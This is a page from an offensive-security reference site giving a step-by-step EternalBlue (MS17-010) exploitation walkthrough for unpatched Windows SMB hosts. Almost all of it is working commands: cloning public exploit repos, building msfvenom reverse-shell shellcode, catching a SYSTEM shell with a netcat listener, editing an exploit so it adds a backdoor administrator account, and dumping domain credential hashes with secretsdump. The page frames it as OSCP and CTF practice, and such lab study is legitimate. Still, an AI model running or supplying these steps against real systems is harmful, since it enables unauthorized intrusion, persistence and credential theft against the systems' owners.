# EternalBlue MS17-010 – SMB RCE

> Exploits the MS17-010 SMB vulnerability using EternalBlue to achieve unauthenticated remote code execution on unpatched Windows systems via port 445.

- **URL:** https://hackindex.io/services/smb/exploitation/vulnerabilities/eternalblue-ms17-010-smb-rce
- **Path:** SMB > Exploitation > Vulnerabilities
- **Up:** [Vulnerabilities](https://hackindex.io/services/smb/exploitation/vulnerabilities.md)
- **Published:** 2026-03-11
- **Updated:** 2026-05-15

EternalBlue exploits a buffer overflow in the SMBv1 `SrvOs2FeaToNt` function in `srv.sys`. A crafted transaction request triggers the overflow, leading to kernel-level code execution. The result is a SYSTEM shell on the target with no authentication required.

Affects Windows XP through Server 2019 (unpatched). The patch is MS17-010, released March 2017. Still appears regularly in OSCP labs and CTFs on older Windows machines.

## AutoBlue - Non-Metasploit Exploit

AutoBlue is the standard non-Metasploit path. It supports both x86 and x64 targets and generates shellcode without requiring Metasploit at runtime: only `msfvenom` is needed to compile the shellcode, and a plain `nc` listener catches the shell.

Clone AutoBlue:

```bash
git clone https://github.com/3ndG4me/AutoBlue-MS17-010
cd AutoBlue-MS17-010
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
```

## Compile the Shellcode

Run the shellcode compiler script. It calls `msfvenom` to build stageless shellcode for both x86 and x64, combining them into a single `sc_all.bin`:

```bash
chmod +x shellcode/shell_prep.sh
cd shellcode
./shell_prep.sh
```

When prompted:

- Enter your `$LHOST` (attacker IP)
- Enter your x64 port (e.g. `$LPORT`)
- Enter your x86 port (same or different)
- Select `1` for a regular cmd shell (not Meterpreter: use this for OSCP)

This produces `shellcode/sc_all.bin`.

## Start a Listener

```bash
nc -lvnp $LPORT
```

## Run the Exploit

```bash
python eternalblue_exploit7.py $TARGET_IP shellcode/sc_all.bin
```

`eternalblue_exploit7.py` targets Windows 7 and Server 2008 R2 x64. For other targets:

- `eternalblue_exploit8.py`: Windows 8 and Server 2012
- `eternalblue_exploit10.py`: Windows 10 and Server 2016/2019

If the exploit completes successfully, your nc listener receives a SYSTEM shell.

## Named Pipe Variant - zzz_exploit

If `eternalblue_exploit7.py` fails or the target crashes, try `zzz_exploit.py` from the worawit MS17-010 repo instead. This uses the EternalRomance/EternalSynergy technique via named pipes and is more stable on some targets:

```bash
git clone https://github.com/worawit/MS17-010
cd MS17-010
pip install impacket --break-system-packages
```

Edit `zzz_exploit.py`: find `smb_pwn` and modify it to run your command. The default opens a semi-interactive shell via a service. Replace the `service_exec` call with a command to add a local admin or download a payload:

```bash
service_exec(conn, r'cmd /c net user pwned Password123! /add && net localgroup administrators pwned /add')
```

Then run:

```bash
python zzz_exploit.py $TARGET_IP
```

Connect to the target via psexec or evil-winrm with the new account once the command executes.

## Groom Connection Count

If the exploit is unstable or the target blue-screens, adjust the groom connections (heap spray size). The default is usually fine, but you can tune it:

```bash
python eternalblue_exploit7.py $TARGET_IP shellcode/sc_all.bin 15
```

Higher values (12-20) improve reliability on some targets. Lower values reduce crash risk. Start at the default and adjust if needed.

## What You Get

A successful exploit lands a SYSTEM shell: the highest privilege on a Windows host. On a Domain Controller this means immediate domain compromise: dump NTDS.dit, extract all hashes, create Golden Tickets.

```bash
impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH -just-dc
```

## References

- [AutoBlue-MS17-010](https://github.com/3ndG4me/AutoBlue-MS17-010) - 3ndG4me Non-Metasploit exploit with shellcode compiler and multi-version support
- [https://github.com/worawit/MS17-010](https://github.com/worawit/MS17-010) - worawit Original research repo with EternalBlue, EternalRomance, EternalSynergy, and EternalChampion implementations.